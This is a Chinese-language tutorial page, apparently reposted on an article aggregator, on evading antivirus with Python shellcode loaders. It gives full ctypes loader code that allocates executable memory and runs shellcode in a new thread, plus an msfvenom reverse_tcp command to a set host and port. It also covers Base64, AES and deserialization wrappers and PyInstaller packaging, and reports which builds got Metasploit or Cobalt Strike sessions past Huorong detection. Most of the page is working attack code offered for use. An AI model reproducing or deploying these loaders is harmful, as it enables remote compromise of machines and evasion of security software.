免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

这篇具有很好参考价值的文章主要介绍了免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Python-MSF/CS生成shellcode-上线

cs上线

1.生成shellcode-c或者python

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去

shellcode执行代码:

import ctypes

from django.contrib.gis import ptr


#cs

#shellcode=bytearray(b"生成的shellcode")


#msf的shellcode拼接代码

# shellcode = bytearray(b"")

# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"

# shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"

# print(shellcode)


#msf拼接后shellcode

shellcode = bytearray(b'拼接完成shellcode')


# 设置VirtualAlloc返回类型为ctypes.c_uint64

#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64


# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存

ptr = ctypes.windll.kernel32.VirtualAlloc(

    ctypes.c_int(0),  #要分配的内存区域的地址

    ctypes.c_int(len(shellcode)), #分配的大小

    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE

    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性

    )


# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中

buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(

    ctypes.c_uint64(ptr),

    buffered,

    ctypes.c_int(len(shellcode))

)


# 创建一个线程从shellcode放置位置首地址开始执行

handle = ctypes.windll.kernel32.CreateThread(

    ctypes.c_int(0), #指向安全属性的指针

    ctypes.c_int(0), #初始堆栈大小

    ctypes.c_uint64(ptr), #指向起始地址的指针

    ctypes.c_int(0), #指向任何参数的指针

    ctypes.c_int(0), #创建标志

    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针

)


# 等待上面创建的线程运行完

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

3.将生成的shellcode放到执行代码中,运行代码,cs成功上线

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

MSF上线

1.执行命令,生成shellcode

命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

2.msf设置监听

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

3.将shellcode放到执行脚本中运行

因为msf生成的shellcode是有换行的,所以要进行拼接,如下图:

可以使用图中的拼接直接运行。也可以输出shellcode,使用拼接后的shellcode运行。

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

直接使用拼接的shellcode:运行脚本成功上线

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

Python-混淆加密- Base64 & AES & 反序列化等

一、Base64编码

1.运行代码将cs/msf生成的shellcode去掉换行进行base64编码

编码代码:

import base64

shellcode = b'生成的shellcode'
s=base64.b64encode(shellcode)
print(s)

也可以使用命令直接生成base64编码的shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.206.129 lport=4444 -f c

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

2.将经过base64编码的shellcode放入执行代码中,然后在执行代码中加入base64的解码代码。

解码代码:shellcode=base64.b64decode(shellcode)

成功构造免杀脚本,执行脚本msf成功上线

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

二、AES加密

AES加密代码:

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64


# 如果text不足16位的倍数就用空格补足为16位

def add_to_16(text):
    if len(text.encode('utf-8')) % 16:
        add = 16 - (len(text.encode('utf-8')) % 16)
    else:
        add = 0
    text = text + ('\0' * add)
    return text.encode('utf-8')


# 加密函数

def encrypt(text):
    key = '9999999999999999'.encode('utf-8')
    mode = AES.MODE_CBC
    iv = b'qqqqqqqqqqqqqqqq'
    text = add_to_16(text)
    cryptos = AES.new(key, mode, iv)
    cipher_text = cryptos.encrypt(text)
    #print(base64.b64decode(cipher_text))
    # 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
    return b2a_hex(cipher_text)


def zhixing(shellcode):
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

if __name__ == '__main__':

   # 加密
    #msf
#     s='''base64编码后的shellcode'''

    #cs
    s='base64编码的shellcode'
    e = encrypt(s)
    print(e)

AES解密执行代码:

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64


# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
    if len(text.encode('utf-8')) % 16:
        add = 16 - (len(text.encode('utf-8')) % 16)
    else:
        add = 0
    text = text + ('\0' * add)
    return text.encode('utf-8')


# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
    key = '9999999999999999'.encode('utf-8')
    iv = b'qqqqqqqqqqqqqqqq'
    mode = AES.MODE_CBC
    cryptos = AES.new(key, mode, iv)
    plain_text = cryptos.decrypt(a2b_hex(text))
    shellcode=bytes.decode(plain_text).rstrip('\0')
    return shellcode


def zhixing(shellcode):
    shellcode = bytearray(base64.b64decode(shellcode))

    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    # 在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

    # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),  # 要分配的内存区域的地址
        ctypes.c_int(len(shellcode)),  # 分配的大小
        ctypes.c_int(0x3000),  # 分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
        ctypes.c_int(0x40)  # 该内存的初始保护属性,0x40代表可读可写可执行属性
    )

    # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
    buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buffered,
        ctypes.c_int(len(shellcode))
    )

    # 创建一个线程从shellcode放置位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),  # 指向安全属性的指针
        ctypes.c_int(0),  # 初始堆栈大小
        ctypes.c_uint64(ptr),  # 指向起始地址的指针
        ctypes.c_int(0),  # 指向任何参数的指针
        ctypes.c_int(0),  # 创建标志
        ctypes.pointer(ctypes.c_int(0))  # 指向接收线程标识符的值的指针
    )

    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

if __name__ == '__main__':
    #msf
    #e='AES解密后的shellcode'

    #cs
    e='AES解密后的shellcode'
    d = decrypt(e)  # 解密
    zhixing(d)

1.使用cs生成一个64位shellcode,执行代码对其进行base64编码

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

2.在对编码后的shellcode进行AES加密

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

3.将AES加密后的shellcode放到AES解密执行代码中。成功构造免杀脚本,执行脚本cs成功上线

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

三、反序列化

1.将msf生成的shellcode放到代码中进行序列化和base64加密

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

2.将经过序列化和base64的shellcode放到反序列化和base64解密的执行代码中。成功构造免杀脚本,执行脚本msf成功上线

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

Python-打包器

以上测试了shellcode的原生态、base64、AES、反序列化等混淆加密的免杀上线方式。但是实战不可能上传py脚本,所以要使用python打包器将py脚本打包为exe执行程序在上传。打包器也能起到免杀效果。

Pyinstall打包器

安装:pip install pyinstaller

参数介绍:

-F, –onefile 打包一个单个文件,如果你的代码都写在一个.py文件的话,可以用这个,如果是多个.py文件就别用

-D, –onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护

-K, –tk 在部署时包含 TCL/TK

-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.

-d, –debug 产生debug版本的可执行文件

-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)

-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)

1.执行命令,将原生态1.py进行打包

命令:pyinstaller -1.py

打包后的exe程序在根目录下的dist目录中

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

2.将打包的脚本上传到目标系统,执行脚本,成功绕过火绒检测,msf成功上线

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全

3.上传了四种打包后的shellcode脚本,结果原生态反而绕过了火绒检测,其他三种经过混淆加密的全部被杀。

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall,免杀对抗,python,算法,网络安全文章来源地址https://www.toymoban.com/news/detail-709061.html

到了这里,关于免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Protobuf协议初级详解(python使用)从安装到序列化-反序列化

    Protobuf是一种轻便高效的结构化数据存储格式,可以用于结构化数据序列化,很适合做数据存储或 RPC 数据交换格式。它可用于通讯协议、数据存储等领域的语言无关、平台无关、可扩展的序列化结构数据格式。 可以简单理解为,是一种跨语言、跨平台的数据传输格式。与j

    2024年02月04日
    浏览(42)
  • python序列化和结构化数据详解

    序列化和结构化数据是计算机程序中非常重要的概念,它们的原理和应用在许多应用程序中都是必不可少的。Python作为一种高级编程语言,在序列化和结构化数据方面提供了很多优秀的解决方案。在本文中,我们将详细介绍Python中序列化和结构化数据的相关概念和应用。 1.

    2024年02月08日
    浏览(61)
  • Python中关于对象序列化实现和原理

    pickle模块可以实现任意的Python对象转换为一系列字节(即序列化对象)的算法。这些字节流可以被传输或存储,接着也可以重构为—个和原先对象具有相同特征的新对象。 注意: pickle的文档清晰的表明它不提供安全保证。实际上,反序列化后可以执行任意代码,所以慎用 pick

    2024年02月03日
    浏览(42)
  • 深入理解 python 虚拟机:破解核心魔法——反序列化 pyc 文件

    在前面的文章当中我们详细的对于 pyc 文件的结构进行了分析,pyc 文件主要有下面的四个部分组成:魔术、 Bite Filed 、修改日期和 Code Object 组成。在前面的文章当中我们已经对前面三个部分进行了字节角度的分析,直接从 pyc 文件当中读取对应的数据并且打印出来了。而在本

    2024年02月05日
    浏览(39)
  • 【序列化与反序列化】关于序列化与反序列化MessagePack的实践

    在进行序列化操作之前,我们还对系统进行压测,通过 jvisualvm 分析cpu,线程,垃圾回收情况等;运用火焰图 async-profiler 分析系统性能,找出程序中占用CPU资源时间最长的代码块。 代码放置GitHub:https://github.com/nateshao/leetcode/tree/main/source-code/src/main/java/com/nateshao/source/code/ser

    2024年02月11日
    浏览(56)
  • 【网络】序列化反序列化

    在前文《网络编程套接字》中,我们实现了服务器与客户端之间的字符串通信,这是非常简单的通信,在实际使用的过程中,网络需要传输的不仅仅是字符串,更多的是结构化的数据(类似于 class , struct 类似的数据)。 那么我们应该怎么发送这些结构化的数据呢? 如果我们

    2024年02月05日
    浏览(42)
  • 序列化,反序列化之实例

    介绍文章 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 __call() 在对象上下文中调用不

    2024年02月14日
    浏览(45)
  • 【网络】协议定制+序列化/反序列化

    如果光看定义很难理解序列化的意义,那么我们可以从另一个角度来推导出什么是序列化, 那么究竟序列化的目的是什么? 其实序列化最终的目的是为了对象可以 跨平台存储,和进行网络传输 。而我们进行跨平台存储和网络传输的方式就是IO,而我们的IO支持的数据格式就是

    2024年02月08日
    浏览(42)
  • Qt 对象序列化/反序列化

    阅读本文大概需要 3 分钟 日常开发过程中,避免不了对象序列化和反序列化,如果你使用 Qt 进行开发,那么有一种方法实现起来非常简单和容易。 我们知道 Qt 的元对象系统非常强大,基于此属性我们可以实现对象的序列化和反序列化操作。 比如有一个学生类,包含以下几

    2024年02月13日
    浏览(41)
  • 协议,序列化,反序列化,Json

    协议究竟是什么呢?首先得知道主机之间的网络通信交互的是什么数据,像平时使用聊天APP聊天可以清楚,用户看到的不仅仅是聊天的文字,还能够看到用户的头像昵称等其他属性。也就可以证明网络通信不仅仅是交互字符串那么简单。事实上网络通信还可能会通过一个结构

    2024年02月13日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包